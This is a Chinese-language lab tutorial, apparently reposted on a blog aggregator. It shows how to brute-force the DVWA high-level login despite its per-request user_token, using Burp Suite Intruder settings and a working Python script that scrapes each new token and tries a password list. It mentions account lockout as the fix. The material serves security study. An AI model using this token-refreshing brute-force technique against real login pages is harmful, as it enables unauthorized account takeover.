暴力破解绕过token限制

Posted 浪人联想

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了暴力破解绕过token限制相关的知识,希望对你有一定的参考价值。

记录一下在爆破的时候绕过token限制的方法

BurpSuite

1.使用burp抓包
bp抓包如下,DVWA高等级暴力破解漏洞靶场进行演示,(注意:这里抓到的包不要点击forward)

2.配置
发送到intruter模块,并对需要爆破的目标位置进行设置。(这里主要是为了演示绕过token限制,所以假设已知用户名为admin),选择集成炸弹。

方便演示,给password简单设置个字典

user_token需要从页面中获取
步骤:options->add->选中user_token的值。

设置跟随重定向,方法如下:options->redirection设置always

给token加上payload

结果匹配Welcome字符串。

3.爆破
点击attack开始爆破,报错。

显示多线程冲突,修改payload1为单线程即可;

爆破成功,密码password,成功绕过。
解决方法:当检测到频繁的错误登录后,将账户锁定,爆破也就无法继续。

Python

#-*-coding:utf-8-*-
import requests
from bs4 import BeautifulSoup

url = "http://127.0.0.1/DVWA/vulnerabilities/brute/index.php?username={0}&password={1}&Login=Login&user_token={2}"

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0'
}

cookies = {
    'security':'high',
    'PHPSESSID':'a5ta238sbggu66lnigk48074c0'
}

payloads = [
    '123456',
    'whoami',
    'password',
    'langren',
    'lianxiang',
    'pwdls',
    'admin'
]

def burp(payloads,url):
    #获得user_token
    source = 'http://127.0.0.1/DVWA/vulnerabilities/brute/index.php'
    web_data = requests.get(source, headers=headers, cookies=cookies)
    soup = BeautifulSoup(web_data.text, 'html.parser')
    user_token = soup.select('input[name="user_token"]')[0]['value']
    # 爆破
    for payload1 in payloads:
        for payload2 in payloads:
            target = url.format(payload1, payload2, user_token)
            print u'当前请求:' + target
            web_data = requests.get(target, headers=headers, cookies=cookies)
            soup = BeautifulSoup(web_data.text, 'html.parser')
            user_token = soup.select('input[name="user_token"]')[0]['value']
            feature = soup.find('pre')
            try:
                if feature.get_text() == 'Username and/or password incorrect.':  # 错误的密码或者用户名就会页面会出现此语句,这也是我们需要检索的
                    print u'错误'
            except:
                print u'可能得到结果:'
                print 'username:' + payload1 + '\\n' + 'password:' + payload2
                exit(u'结束')

if __name__ == '__main__':
    burp(payloads,url)

爆破成功

参考文章:https://www.cnblogs.com/qi-yuan/p/12395524.html

仅供学习使用!

以上是关于暴力破解绕过token限制的主要内容,如果未能解决你的问题,请参考以下文章

暴力破解与验证码绕过

Python暴力破解网站登录密码(带token验证)

Pikachu靶场通过记录

业务安全漏洞总结

tomcat漏洞挖掘之暴力破解和任意文件上传

tomcat漏洞挖掘之暴力破解和任意文件上传